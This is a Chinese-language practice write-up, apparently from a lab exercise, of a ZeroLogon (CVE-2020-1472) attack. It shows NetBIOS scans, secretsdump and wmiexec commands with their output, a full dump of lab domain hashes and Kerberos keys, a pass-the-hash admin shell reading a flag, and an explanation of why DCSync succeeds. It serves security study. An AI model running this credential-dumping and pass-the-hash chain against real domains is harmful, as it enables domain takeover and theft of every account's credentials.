ZeroLogon 练习
先利用NetBIOS协议进行网络层扫描
1
2
3
4
5
6
7
┌──( kali㉿kali) -[ ~/penetartion/secretsdump.py]
└─$ nbtscan 192.168.111.100
Doing NBT name scan for addresses from 192.168.111.100
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
192.168.111.100 MASTERPC <server> <unknown> 00:50:56:b1:89:24
nbtscan-unixwiz:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──( kali㉿kali) -[ ~/penetartion/secretsdump.py]
└─$ nbtscan-unixwiz -n 192.168.111.100
192.168.111.100 MYD\M ASTERPC SHARING DC
┌──( kali㉿kali) -[ ~/penetartion/secretsdump.py]
└─$ nmblookup -A 192.168.111.100
Looking up status of 192.168.111.100
MYD <00> - <GROUP> B <ACTIVE>
MASTERPC <00> - B <ACTIVE>
MYD <1c> - <GROUP> B <ACTIVE>
MASTERPC <20> - B <ACTIVE>
MYD <1b> - B <ACTIVE>
MAC Address = 00-50-56-B1-89-24
利用cve-2020-1472来置空域控hash,置空之后就可以用 secretsdump.py 来抓取域管hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──( kali㉿kali) -[ ~/penetartion]
└─$ impacket-secretsdump -no-pass myd.com/masterpc\$ @192.168.111.100
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[ -] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[ *] Dumping Domain Credentials ( domain\u id:rid:lmhash:nthash)
[ *] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec0df45863a3751d56ba6df1e72f7218:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5d6179aa303cb80767dd808af8e7949b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
masteruser:1000:aad3b435b51404eeaad3b435b51404ee:ec0df45863a3751d56ba6df1e72f7218:::
myd.com\a lex:1107:aad3b435b51404eeaad3b435b51404ee:d92b40c276ae016de921403adf6e2714:::
myd.com\t om:1112:aad3b435b51404eeaad3b435b51404ee:d92b40c276ae016de921403adf6e2714:::
MASTERPC$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN7PC$:1104:aad3b435b51404eeaad3b435b51404ee:fba0ef9bd33b6d683c4c5afef2420347:::
WIN10PC$:1108:aad3b435b51404eeaad3b435b51404ee:b80ec1bd8d779daf7c8aba0df0b0b3a5:::
BACKUPPC$:1110:aad3b435b51404eeaad3b435b51404ee:0a24d18aa71033fc7475b36374cfa646:::
SER12PC$:1113:aad3b435b51404eeaad3b435b51404ee:821d0d4ef0c0af19fb9ae76fb2423aaf:::
[ *] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:673497346e4a840a2937edc9f20c9dadf8e3fa36762f8a80d10dc6c899fd30bd
krbtgt:aes128-cts-hmac-sha1-96:2f8352e16bd2241be1654915d81a2d7d
krbtgt:des-cbc-md5:8331fb76e96d1ab6
myd.com\a lex:aes256-cts-hmac-sha1-96:95e2507abb2745ac5c3bf174b623848fbf575e30b3ce5e5004d961c45523560f
myd.com\a lex:aes128-cts-hmac-sha1-96:6d03b9b5f98c3121ebd1e2df6473f851
myd.com\a lex:des-cbc-md5:a4674c8f9dd640cd
myd.com\t om:aes256-cts-hmac-sha1-96:ee3384a48741df4ac23638b1bda36376e1d48385915f8381ae7c3520eaa6b3c9
myd.com\t om:aes128-cts-hmac-sha1-96:77a2c45be49f9b67c29971e111d77219
myd.com\t om:des-cbc-md5:ae8ccb19cd0ed675
MASTERPC$:aes256-cts-hmac-sha1-96:3054d8539c1cc2ad543e5122911c20741dac437a06f0ec91926d8fdea6c4892a
MASTERPC$:aes128-cts-hmac-sha1-96:59b4146c6c92b85853c2463904da4fd3
MASTERPC$:des-cbc-md5:d34f02fd58dc5e79
WIN7PC$:aes256-cts-hmac-sha1-96:0ce42c9e2b4dae863e9c89fcb544044b6ad0ab163a9c5ec0654a387188401758
WIN7PC$:aes128-cts-hmac-sha1-96:cf5f272afedad5da97673bb134f8e624
WIN7PC$:des-cbc-md5:f13e5415b6e00db6
WIN10PC$:aes256-cts-hmac-sha1-96:ca924d18a9cb0e0c0b18c8ef2d3cf570ba9a387ffa066b7d0c594183fa0c44ba
WIN10PC$:aes128-cts-hmac-sha1-96:22d54361b292d21d619a14c0da816ed6
WIN10PC$:des-cbc-md5:bc6ee3dc3e851934
BACKUPPC$:aes256-cts-hmac-sha1-96:2e19705625a7e08e20cd7b817ed4168a36535ce97f7b2d66621b47d092697135
BACKUPPC$:aes128-cts-hmac-sha1-96:b6a9c337be3415c0290988821199544c
BACKUPPC$:des-cbc-md5:ae4601f851c76145
SER12PC$:aes256-cts-hmac-sha1-96:4b23645c727fad5699b4adb4b44e92b1813e97026c8cb4fbba99db984e8585b1
SER12PC$:aes128-cts-hmac-sha1-96:9b01c72dbc5f89c4c7d13038715a9bf8
SER12PC$:des-cbc-md5:3d1a1ada68c72f9e
[ *] Cleaning up...
抓取到了所有用户的hash
然后进行PTH(Pass-The-Hash)攻击,使用wmiexec.py进行登录,生成一个半交互式shell(管理员权限):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──( kali㉿kali) -[ ~/penetartion]
└─$ impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:ec0df45863a3751d56ba6df1e72f7218 myd.com/Administrator@192.168.111.100
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[ *] SMBv3.0 dialect used
[ !] Launching semi-interactive shell - Careful what you execute
[ !] Press help for extra shell commands
C:\> dir
[ -] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
������ C �еľ�û�б�ǩ��
��������� 9ACC-3F8E
C:\ ��Ŀ¼
2025/11/27 17:13 32 flag.txt
2016/07/16 21:23 <DIR> PerfLogs
2026/05/02 11:40 <DIR> Program Files
2024/08/10 10:08 <DIR> Program Files ( x86)
2024/08/18 21:24 <DIR> Users
2026/05/02 13:25 <DIR> Windows
1 ���ļ� 32 �ֽ�
5 ��Ŀ¼ 49,410,732,032 �����ֽ�
C:\> type flag.txt
48255d2fc759b14f4127fda7c5a86d89
C:\>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
利用 ZeroLogon 置空机器账户密码后,为什么 secretsdump.py 能抓取域管哈希?
简要流程:ZeroLogon → 空掉域控机器账户密码 → 以机器账户身份发起 DCSync → 导出全域哈希。
关键原因在于:域控机器账户天然拥有从域数据库复制哈希的权限。
1. ZeroLogon 漏洞做了什么?
CVE-2020-1472 是 Netlogon 远程协议(MS-NRPC)中的一个高危身份验证绕过漏洞。
攻击者利用它在完全不知道域控机器账户密码的情况下,通过一组伪造的 Netlogon 会话,直接调用远程过程将域控机器账户(如 MASTERPC$)的密码设置为空字符串。
此时,MASTERPC$ 的真实密码就成了“空”,对应的 NT Hash 就是 31d6cfe0d16ae931b73c59d7e0c089c0。
这等价于别人直接把你的管理员钥匙扔在地上,任何人捡起来就能用。
2. 域控机器账户有什么特殊权限?
在 Active Directory 中,域控制器的机器账户(不是普通的客户端/服务器账户)默认属于 Domain Controllers 组。
这个组在域级别被授予了以下关键权限:
复制目录更改(Replicating Directory Changes)
复制目录更改全部(Replicating Directory Changes All)
这两个权限允许持有者通过 DCSync(目录复制) 方式,从域控制器复制出整个域数据库(NTDS.dit)中的所有哈希,包括域管理员、所有用户、所有凭据。
普通域用户没有这两个权限,只有域控机器账户、Domain Admins、Enterprise Admins 等少数对象才拥有。
3. secretsdump.py 的抓取原理(DCSync 模式)
secretsdump.py 在指定了域控地址和凭据后,默认会尝试通过 DRSUAPI 接口模拟域控制器间的复制动作,请求 DSGetNCChanges 调用来拉取哈希。
这个动作本身就需要“复制目录更改”权限。
有了被置空的 MASTERPC$ 机器账户:
攻击端可以直接使用空密码模拟这个机器账户;
域控信任了这次认证(因为机器账户身份本身就是合法的,只是密码被强设为空);
secretsdump.py 以该机器账户的身份,向域控发起 DCSync 请求。
因为 MASTERPC$ 就是 Domain Controllers 组的成员,它天生具备复制权限,所以请求被允许,整个域的哈希一步到位地被导出。
于是你就能看到 Administrator 和其他所有用户的哈希。
Licensed under CC BY-NC-SA 4.0